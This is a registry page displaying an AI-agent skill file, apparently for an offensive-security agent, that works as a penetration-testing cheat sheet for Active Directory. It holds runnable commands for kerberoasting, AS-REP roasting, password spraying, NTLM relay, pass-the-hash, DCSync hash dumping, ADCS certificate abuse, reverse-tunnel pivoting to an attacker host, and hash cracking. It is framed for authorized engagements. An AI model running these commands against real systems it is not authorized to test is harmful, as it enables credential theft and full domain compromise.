agentleFS
NoorQureshiNoorQureshi/SploitAgent/skills/ad/ad-pivot-arsenal/SKILL.md

ad-pivot-arsenal

Skill26 starsChanged 33 days agoMITView on GitHub

One line: Active Directory, pivoting/tunneling, and password-cracking arsenal for authorized engagements. Trigger signals: "Active Directory", "domain", "kerberos", "kerberoast", "AS-REP", "BloodHound", "DCSync", "AD/.local domain", holding domain creds or a foothold. Authorized, in-scope targets only.

2 other projects use a version of this.

Adopted by

Most recently taken up by

The file

We split this skill into the rules it gives an agent

2 rules. About 0 are common, 1 is distinctive, and 1 is very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈1

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Import the zip into BloodHound and run the "Shortest Path to Domain Admins" query.

    line 45
  2. Very specific:

    Use zip2john, ssh2john, keepass2john to extract crackable hashes from files.

    line 135

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Active Directory, pivoting & cracking arsenal

Loads on domain-joined targets, or once you hold a foothold/creds and need to reach Domain Admin. Authorized, in-scope engagements only. Add the DC to /etc/hosts (IP dc01.corp.local corp.local) early — Kerberos needs the FQDN.

Enumeration

  • netexec / nxc (smb) — the swiss-army first pass; null session, shares, users, policy. nxc smb dc01.corp.local -u '' -p '' --shares --users --pass-pol -u '' -p '' = null/anonymous auth; --pass-pol reveals the lockout threshold you must respect when spraying. Add -M spider_plus to loot readable shares, and --rid-brute to enumerate domain users over SAMR when null LDAP is closed but SMB null is open.
  • netexec (ldap) — pull AS-REP-roastable and SPN users without touching Kerberos yet. nxc ldap dc01.corp.local -u user -p pass --asreproast asrep.txt --kerberoasting kerb.txt Also --users --groups --password-not-required for quick wins.
  • enum4linux-ng — modern rewrite of enum4linux; broad SMB/RPC/LDAP dump in one shot. enum4linux-ng -A dc01.corp.local — -A = all simple enumeration (users, groups, shares, pol).
  • ldapsearch (anonymous) — raw LDAP when null bind is allowed; great for descriptions (passwords hide there). ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" -x = simple auth, -b = search base. Add "(objectClass=user)" sAMAccountName description. Gotcha: no base? grab it from ldapsearch -x -H ldap://IP -s base namingContexts.
  • rpcclient — interactive MS-RPC; enumerate users/groups when SMB null is open. rpcclient -U "" -N dc01.corp.local then enumdomusers, querydispinfo, enumdomgroups. -N = no password.
  • kerbrute userenum — validate usernames pre-auth via Kerberos (no lockout, very fast). kerbrute userenum -d corp.local --dc dc01.corp.local users.txt Confirms which names exist so you spray/roast a real list. Gotcha: needs the FQDN + reachable 88.
  • BloodHound + collectors — maps the shortest path to DA; collect first, then think. From Linux: bloodhound-python -d corp.local -u user -p pass -ns $TARGET -c All On host: SharpHound.exe -c All (or Invoke-BloodHound -CollectionMethod All). Import the zip into BloodHound and run the "Shortest Path to Domain Admins" query.

Credential attacks

  • impacket-GetNPUsers (AS-REP roast) — users with "do not require pre-auth" leak a crackable hash with NO creds. impacket-GetNPUsers corp.local/ -usersfile users.txt -request -no-pass -dc-ip $TARGET With creds: impacket-GetNPUsers corp.local/user:pass -request. Crack the $krb5asrep$ with hashcat 18200. Why it works: the KDC hands back a TGT-material blob encrypted under the user's password key when pre-auth is off.
  • impacket-GetUserSPNs (kerberoast) — any domain user can request service tickets for accounts with an SPN; the TGS is encrypted with the service account's password. impacket-GetUserSPNs corp.local/user:pass -dc-ip $TARGET -request Crack the $krb5tgs$ with hashcat 13100. Service accounts often have weak, static passwords.
  • Password spraying (nxc) — one password across many users beats many passwords per user. nxc smb dc01.corp.local -u users.txt -p 'Winter2025!' --continue-on-success Gotcha: check --pass-pol first — spraying past the lockout threshold locks accounts and burns the domain. Space attempts under the observation window; one password per round.
  • responder (LLMNR/NBT-NS/mDNS poison) — answer broadcast name lookups, capture NetNTLMv2. responder -I tun0 — passively grabs hashes when a host mistypes a share. Crack with hashcat 5600. Authorized lab only. Gotcha: disable SMB/HTTP servers in Responder.conf if you plan to relay instead.
  • impacket-ntlmrelayx (relay) — forward captured NTLM auth to a target where SMB signing is off. impacket-ntlmrelayx -tf targets.txt -smb2support (add -i for interactive shell, --delegate-access). Pairs with responder (turn off its own SMB/HTTP listeners). Relaying to LDAP enables RBCD / ADCS ESC8.

Lateral movement / execution

  • evil-winrm — clean interactive shell over WinRM (5985) with password OR hash. evil-winrm -i $TARGET -u user -p pass | pass-the-hash: evil-winrm -i IP -u user -H <NTLM> Best UX once a user is in Remote Management Users. Upload/download built in.
  • impacket psexec / wmiexec / smbexec / atexec — SYSTEM (psexec) or stealthier user-context exec. impacket-psexec corp.local/user:pass@$TARGET (drops a service — noisy, SYSTEM). impacket-wmiexec corp.local/user:pass@IP (semi-interactive, no disk artifact — prefer this). smbexec/atexec = fallbacks (service via SMB / scheduled task). All accept -hashes :<NTLM>.
  • netexec exec — run a command everywhere you have rights in one line. nxc smb targets.txt -u user -H <NTLM> -x 'whoami' (-X for PowerShell). -H = pass-the-hash.
  • Pass-the-hash — reuse the NTLM hash directly, no plaintext needed. nxc smb IP -u user -H aad3b435...:31d6cfe0... — the -H/-hashes flag is honored across nxc, evil-winrm, and every impacket tool. Why: NTLM auth proves knowledge of the hash, not the password.
  • Overpass-the-hash / pass-the-ticket — turn a hash into a Kerberos TGT, or reuse a .ccache. impacket-getTGT corp.local/user -hashes :<NTLM> → export KRB5CCNAME=user.ccache → impacket-wmiexec -k -no-pass corp.local/user@dc01.corp.local. -k = use Kerberos ccache, -no-pass = don't prompt. Gotcha: Kerberos demands the FQDN (not IP) and a synced clock.
  • impacket-secretsdump — dump hashes. DCSync: impacket-secretsdump corp.local/user:pass@dc01.corp.local -just-dc (-just-dc = pull NTDS via replication — needs DS-Replication rights; grabs krbtgt → golden ticket). Local SAM/LSA: impacket-secretsdump -sam SAM -system SYSTEM LOCAL or over the wire on a target.

ADCS

  • certipy find — enumerate the CA and flag misconfigured templates (ESC1–ESC8). certipy find -u user@corp.local -p pass -dc-ip $TARGET -vulnerable -stdout -vulnerable = only show abusable templates. Look for ESC1 (enrollee supplies subject).
  • ESC1 abuse (certipy req) — request a cert as any user via a vulnerable template. certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate -upn administrator@corp.local Then auth with the cert: certipy auth -pfx administrator.pfx -dc-ip IP → NT hash / TGT.
  • ESC8 (HTTP enrollment relay) — relay NTLM to the CA web endpoint for a DC/admin cert. impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController Coerce auth (PetitPotam/printerbug) at the DC, capture its cert, then certipy auth.
  • Pass-the-cert — use a .pfx to authenticate or to add RBCD via LDAP schannel. certipy auth -pfx user.pfx yields the NT hash; feed it back into PtH / secretsdump.

Pivoting & tunneling

  • ligolo-ng — the modern go-to; a real tun interface, no proxychains needed. Proxy (attacker): sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up; ./proxy -selfcert Agent (target): ./agent -connect 10.10.x.x:11601 -ignore-cert. In the proxy console: session, then start, and add a route: sudo ip route add 172.16.1.0/24 dev ligolo. Now reach the whole subnet natively.
  • chisel — reverse SOCKS when you only have outbound; single Go binary both ends. Server (attacker): chisel server -p 8000 --reverse Client (target): chisel client 10.10.x.x:8000 R:1080:socks → SOCKS5 on your 127.0.0.1:1080. Point proxychains at 1080. R: = reverse.
  • sshuttle — VPN-like routing over a single SSH cred; no proxychains, transparent. sshuttle -r user@$TARGET 172.16.1.0/24 — tunnels that subnet through the SSH host. -x to exclude.
  • ssh port forwards — when you already have SSH on the pivot. ssh -L 8080:127.0.0.1:80 user@pivot (local) · ssh -D 1080 user@pivot (dynamic SOCKS) · ssh -R 4444:127.0.0.1:4444 user@attacker (reverse, bring a port back). -fN to background without a shell.
  • proxychains — force any TCP tool through your SOCKS pivot. Edit /etc/proxychains4.conf: set socks5 127.0.0.1 1080 under [ProxyList]; then proxychains nxc smb 172.16.1.10. Gotcha: nmap through it must be proxychains nmap -sT -Pn (TCP-connect only; no ping/UDP over SOCKS).
  • socat — quick relay/port bounce when you need a listener on the pivot. socat TCP-LISTEN:8080,fork TCP:172.16.1.10:80 — forwards attacker→8080 to the internal host.

Password cracking

  • hashcat — GPU cracker; pick the mode by hash type. hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule Common modes: 1000 NTLM · 5600 NetNTLMv2 · 18200 AS-REP · 13100 Kerberoast (TGS) · 1800 sha512crypt ($6$, Linux shadow) · 500 md5crypt ($1$) · 22000 WPA/WPA2. -r applies rules; add --username if the file has user:hash lines.
  • john — CPU fallback / great for odd formats and *2john helpers. john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs kerb.txt then john --show .... Use zip2john, ssh2john, keepass2john to extract crackable hashes from files.
  • hashid / name-that-hash — identify an unknown hash before you waste a run. hashid '<hash>' or nth -t '<hash>' (name-that-hash) — maps the format to the hashcat/john mode.

Discipline / gotchas

  • Kerberos clock skew — KRB_AP_ERR_SKEW means your clock differs from the DC by >5 min. Fix: sudo ntpdate dc01.corp.local or wrap the tool in faketime "$(...)" impacket-....
  • Use the FQDN for Kerberos — -k auth against an IP fails; add the DC to /etc/hosts and target dc01.corp.local. SPNs are name-based, not IP-based.
  • proxychains + nmap — always -sT -Pn (TCP connect, skip host discovery); SYN/UDP/ping don't traverse SOCKS and will hang or lie.
  • Account lockout — read --pass-pol before spraying; stay under the threshold and respect the observation window, or you lock the accounts and disrupt the domain for everyone.
  • BloodHound first — it shows the shortest path to Domain Admin; collect and analyze before blindly roasting/relaying. The graph usually names your next move.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.